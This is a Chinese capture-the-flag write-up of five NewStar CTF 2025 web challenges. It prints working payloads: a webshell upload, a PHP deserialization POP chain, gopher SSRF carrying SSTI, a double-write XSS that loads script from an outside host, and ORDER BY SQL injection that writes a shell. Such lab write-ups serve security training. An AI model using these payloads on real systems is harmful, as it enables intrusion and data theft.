通过分析多个漏洞包括文件上传、反序列化、SSTI、XSS和SQL注入,成功获取多个flag。

武功秘籍
给了提示说CVE,搜一下dcrcms的CVE
https://blog.csdn.net/m0_65150886/article/details/135814483
搜到一个文件上传漏洞
https://eci-2zeg2yp0gp6v0o3b5btr.cloudeci1.ichunqiu.com:80/dcr/login.htm
登陆后台

得到密码admin/admin
添加新闻类,再添加新闻
上传一句话木马


找到webshell的路径
https://eci-2zeg2yp0gp6v0o3b5btr.cloudeci1.ichunqiu.com//uploads/news/2025_10_20/2510200110535122.php

得到flag{edb2b48f-931b-47c8-b1f3-c1633b7ad48d}
小羊走迷宫

很明显链子是startPoint:__wakeup->SaySomething:__invoke->Treasure:__toString-> Treasure:__get-> endpoint:__call

classstartPoint{public $direction;}classTreasure{public $door;public $chest;}classSaySomething{public $sth;}classendPoint{public $path;}$a = new startPoint();$b = new Treasure();$b2 = new Treasure();$c = new SaySomething();$d = new endPoint();$a->direction=$c;$c->sth=$b;$b->chest=$b2;$b2->door=$d;$d->path="php://filter/convert.base64-encode/resource=flag.php";echo serialize($a);
得到
O:10:"startPoint":1:{s:9:"direction";O:12:"SaySomething":1:{s:3:"sth";O:8:"Treasure":2:{s:4:"door";N;s:5:"chest";O:8:"Treasure":2:{s:4:"door";O:8:"endPoint":1:{s:4:"path";s:52:"php://filter/convert.base64-encode/resource=flag.php";}s:5:"chest";N;}}}}
恢复回去private属性和protected属性

得到
TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO086ODoiVHJlYXN1cmUiOjI6e3M6NzoiACoAZG9vciI7TjtzOjg6IgAqAGNoZXN0IjtPOjg6IlRyZWFzdXJlIjoyOntzOjc6IgAqAGRvb3IiO086ODoiZW5kUG9pbnQiOjE6e3M6MTQ6IgBlbmRQb2ludABwYXRoIjtzOjUyOiJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWZsYWcucGhwIjt9czo4OiIAKgBjaGVzdCI7Tjt9fX19
传参

解base64

得到flag{8892786a-f642-4539-a445-59c06a579517}
ssti在哪里?
很明显需要通过index.php发起POST请求,去请求localhost:5000上的app.py,app.py通过POST的form接收到name参数转发给localhost:5001的第二个flask项目render_template_string函数中触发ssti
所以直接给5001发送template参数理论上也是可以触发ssti
使用gopher协议发起POST请求
gopher://127.0.0.1:5001/_POST%20/%20HTTP/1.1%0D%0AHost:%20127.0.0.1:5001%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2018%0D%0A%0D%0Atemplate=%7B%7B'7'*7%7D%7D

执行了,思路没问题,继续命令执行就行了

gopher://127.0.0.1:5000/_POST%20/%20HTTP/1.1%0D%0AHost:%20127.0.0.1:5000%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2038%0D%0A%0D%0Aname=%7B%7Blipsum.__globals__.os.environ%7D%7D
得到flag{679b534d-5f8f-456d-989e-e56c91ba9743}
小E的留言板
很明显打一个xss然后让bot读取
Fuzz了一下发现可以使用双写绕过关键字
构造payload
message=" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src='https://ujs.ci/ldf';document.head.appendChild(s)
自己看一下拼接结果

没问题,然后发起/report接口请求触发bot访问
最后去xss平台查看结果

得到flag{8dbf18cb-d28b-4772-95ae-17407ce1ca7c}
Sqlupload
上传功能把文件名和文件内容写入数据库
然后查询的时候发现order by参数存在sql注入

且容器start.sh的特意配置secure_file_priv为空
也就是很明显的让写shell了
先上传一个文件名为一句话木马的任意内容文件

然后利用select查询出文件名再带入into outfile写入shell.php

最后连接后门即可

得到flag{8ffe2a61-be98-40d6-a6a5-69c14a990119}
原文始发于微信公众号(智佳网络安全):【WP】NewStar CTF 2025 Week4 之 WEB方向题解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-





评论